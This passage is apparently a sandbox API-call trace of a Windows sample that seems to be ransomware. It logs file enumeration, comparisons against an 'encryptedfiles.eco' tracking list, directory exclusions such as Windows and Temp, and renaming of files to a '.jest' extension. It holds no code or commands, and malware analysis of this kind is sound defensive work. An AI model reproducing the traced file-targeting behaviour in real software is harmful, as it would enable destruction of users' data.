pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.032] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.032] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.032] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.033] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.033] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.033] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.033] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.033] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.033] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.033] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.034] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.034] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.034] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.034] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.034] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.034] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.034] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.034] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.035] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.035] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.035] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.035] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.035] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.035] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.035] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.035] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.035] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.035] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.035] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.035] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.035] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.036] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.036] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.036] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.036] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.036] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.036] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.036] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.036] GetFullPathNameA (in: lpFileName="GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpFilePart=0x18e708*="GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp") returned 0x8d [0121.036] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0121.036] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.036] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.036] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.036] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.036] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.036] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", cchWideChar=-1, lpMultiByteStr=0x18e710, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpUsedDefaultChar=0x0) returned 77 [0121.037] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpFilePart=0x18e708*="numbers.xml") returned 0x4c [0121.037] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0121.037] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.037] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 0 [0121.038] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpUsedDefaultChar=0x0) returned 104 [0121.038] GetFullPathNameA (in: lpFileName="GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpFilePart=0x18e6e4*="GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp") returned 0x8d [0121.038] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GRF0bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x30465247, cFileName="bG4g0ZiTzXHoUwFKFu3yNdT70ZfglD1rrohfGfiOGo__xmBLTIkoiruwrPV1-_wKjtjFKO9ZIYxdE6wp-b2sYQs_g0LgFHt.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.038] GetLastError () returned 0x2 [0121.038] GetLastError () returned 0x2 [0121.039] SetLastError (dwErrCode=0x2) [0121.039] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.039] lstrcpynW (in: lpString1=0x146ad84, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_oskmenu.xml_6983d9ef", iMaxLength=121 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_oskmenu.xml_6983d9ef") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_oskmenu.xml_6983d9ef" [0121.039] lstrcpynW (in: lpString1=0x142fffc, lpString2="oskmenu.xml", iMaxLength=12 | out: lpString1="oskmenu.xml") returned="oskmenu.xml" [0121.040] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="K", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x34c, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0121.040] lstrcpynW (in: lpString1=0x144d9ac, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", iMaxLength=63 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" [0121.040] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0121.040] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 0x4d [0121.041] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.041] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 0x4d [0121.041] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.041] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 0x4d [0121.041] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.041] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 0x4d [0121.041] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.041] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 0x4d [0121.042] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.042] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 0x4d [0121.042] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.042] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.042] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.042] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.042] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.042] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.044] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpFilePart=0x18e870*="oskmenu.xml") returned 0x4c [0121.044] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0121.044] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.044] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.044] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.045] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.045] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.045] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.045] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.045] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.045] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.045] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.045] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.045] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.045] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.045] GetLastError () returned 0x5 [0121.045] GetLastError () returned 0x5 [0121.045] SetLastError (dwErrCode=0x5) [0121.045] GetLastError () returned 0x5 [0121.046] SetLastError (dwErrCode=0x5) [0121.046] GetLastError () returned 0x5 [0121.046] SetLastError (dwErrCode=0x5) [0121.046] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.046] GetLastError () returned 0x5 [0121.046] GetLastError () returned 0x5 [0121.046] SetLastError (dwErrCode=0x5) [0121.046] GetLastError () returned 0x5 [0121.046] SetLastError (dwErrCode=0x5) [0121.046] GetLastError () returned 0x5 [0121.046] SetLastError (dwErrCode=0x5) [0121.046] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x34c [0121.047] GetFileType (hFile=0x34c) returned 0x1 [0121.047] IMalloc:Alloc (This=0x767666bc, cb=0x89) returned 0x14cd308 [0121.065] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program 